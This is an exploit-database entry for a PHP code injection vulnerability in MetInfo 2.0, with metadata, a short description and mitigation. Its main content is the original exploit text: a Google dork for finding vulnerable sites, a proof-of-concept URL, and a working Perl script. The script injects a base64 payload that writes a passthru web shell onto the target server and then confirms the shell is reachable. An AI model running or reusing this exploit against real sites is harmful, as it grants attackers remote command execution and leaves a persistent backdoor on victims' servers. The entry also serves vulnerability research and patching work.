header-logo
Suggest Exploit
vendor:
MetInfo
by:
linux520.com
7,5
CVSS
HIGH
Code Injection
94
CWE
Product Name: MetInfo
Affected Version From: 2.0
Affected Version To: 2.0
Patch Exists: NO
Related CWE: N/A
CPE: a:metinfo:metinfo:2.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

MetInfo 2.0 PHP Code Injection Vulnerability

MetInfo 2.0 is vulnerable to PHP code injection due to a lack of user input validation. At line 132 of ROOTPATH/include/common.inc.php, the variable $class2_all_1[0] is not defined, allowing an attacker to inject arbitrary PHP code via a crafted HTTP request. This can be exploited to execute arbitrary code on the vulnerable system.

Mitigation:

User input validation should be implemented to prevent code injection attacks.
Source

Exploit-DB raw data:

#####################################################################################################
#Exploit Title£ºMetInfo 2.0 PHP Code Injection Vulnerability
#Date:2010-10-31
#Author£ºlinux520.com
#Team£ºhttp://www.linux520.com/
#Vendor£ºhttp://www.metinfo.cn/
#Dork£º"Powered by  MetInfo  2.0 "  #    Google: 90,000 + results
#Price£º free
#Language£ºPHP
#Greetz£ºCCAV
#####################################################################################################
+Description£º
at 132 line of  ROOTPATH/include/common.inc.php:

eval(base64_decode($class2_all_1[0])); 

$class2_all_1[0]  is not defined £¬so we can inject eval php code
#####################################################################################################
+POC£ºhttp://victim.com/include/common.inc.php?$class2_all_1[0]=[base64_encode(eval php code)]
#####################################################################################################
+Exploit:

#!/usr/bin/env perl

use LWP::UserAgent;
print "################################################################\n";
print "#              MetInfo 2.0 c0de inj3cti0n 3xplo!t              #\n";
print "#                         by:linux520.com                      #\n";
print "################################################################\n";

die "Usage: $0 <target site> Ex:$0 victim.com\n" unless($ARGV[0]);
my $victim = $ARGV[0];
$user_agent = new LWP::UserAgent;
$vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs=");
# fputs(fopen('../templates/test.php','w+'),'<?php passthru($_GET[cmd]);?>');
$user_agent->request($vul_request);
$response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php"));
if($response->is_success)
{
	print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id";
}
else
{
print "could not connect to $victim";
}
#####################################################################################################